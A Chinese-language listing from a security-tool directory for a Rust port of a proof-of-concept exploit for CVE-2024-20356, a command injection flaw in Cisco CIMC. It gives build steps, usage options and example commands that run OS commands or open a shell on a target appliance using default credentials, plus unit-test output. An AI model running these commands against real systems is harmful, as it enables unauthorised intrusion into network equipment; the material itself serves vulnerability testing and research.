Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE_2024_20356 — 一个氧化版本,源自 https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py | Kitploit
工具/GitHubGitHub/sherllyneo/cve_2024_20356
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubsherllyneo/cve_2024_20356

CVE_2024_20356

一个氧化版本,源自 https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py

查看仓库
1342年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-20356

这是CVE-2024-20356的概念验证代码,该漏洞是Cisco CIMC中的一个命令注入漏洞。

由Aaron编写,由SherllyNeo进行Rust化。

完整技术细节见 https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom

安装

root@kitploit:~
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/

用法

root@kitploit:~
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>

Options:
  -t, --host <HOSTNAME>      Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -u, --username <USERNAME>  Username [default: admin]
  -p, --password <PASSWORD>  Password [default: cisco]
  -a, --action <ACTION>      Action to perform [default: test] [possible values: test, cmd, shell, dance]
  -c, --cmd <CMD>            OS command to run [default: None]
  -v, --verbose              Displays more information about cimc
  -h, --help                 Print help
  -V, --version              Print version

示例命令:

root@kitploit:~
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance

使用 --help 参数获取完整使用说明。

免责声明

此概念验证代码仅用于演示目的,不得用于非法活动。LRQA Nettitude不对因使用或滥用此代码造成的任何损害负责。 请勿作恶。

测试

我在没有服务器访问权限的情况下,基于原始代码库编写了此代码。

因此,我编写了大量的单元测试,以确保加密函数与原始代码中的加密函数相匹配。 确保登录方法使用模拟服务器正常工作。 确保IP地址的参数解析正常工作。

要运行这些测试,请使用 cargo test。

root@kitploit:~
cargo test 
   Compiling CVE_2024_20356 v0.1.0 
    Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s 
     Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b) 
running 8 tests 
test libs::encryption::tests::pad_test ... ok 
test libs::encryption::tests::key_fnv32_test ... ok 
test libs::encryption::tests::aes_encrypt_test ... ok 
test libs::encryption::tests::derive_key_and_iv_test ... ok 
test libs::encryption::tests::hash_fnv32_test ... ok 
test libs::encryption::tests::encrypt_test ... ok 
test libs::actions::tests::login_test ... ok 
test libs::arguments::validate_hostname_test ... ok 
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s 

项目结构

我在此说明,因为我避免使用 mod.rs,并展示 main 如何作为 lib 的薄封装。 这是为了允许将来进行集成测试。

root@kitploit:~
src 
├── lib.rs 
├── libs 
│   ├── actions.rs 
│   ├── arguments.rs 
│   └── encryption.rs 
└── main.rs 
下载工具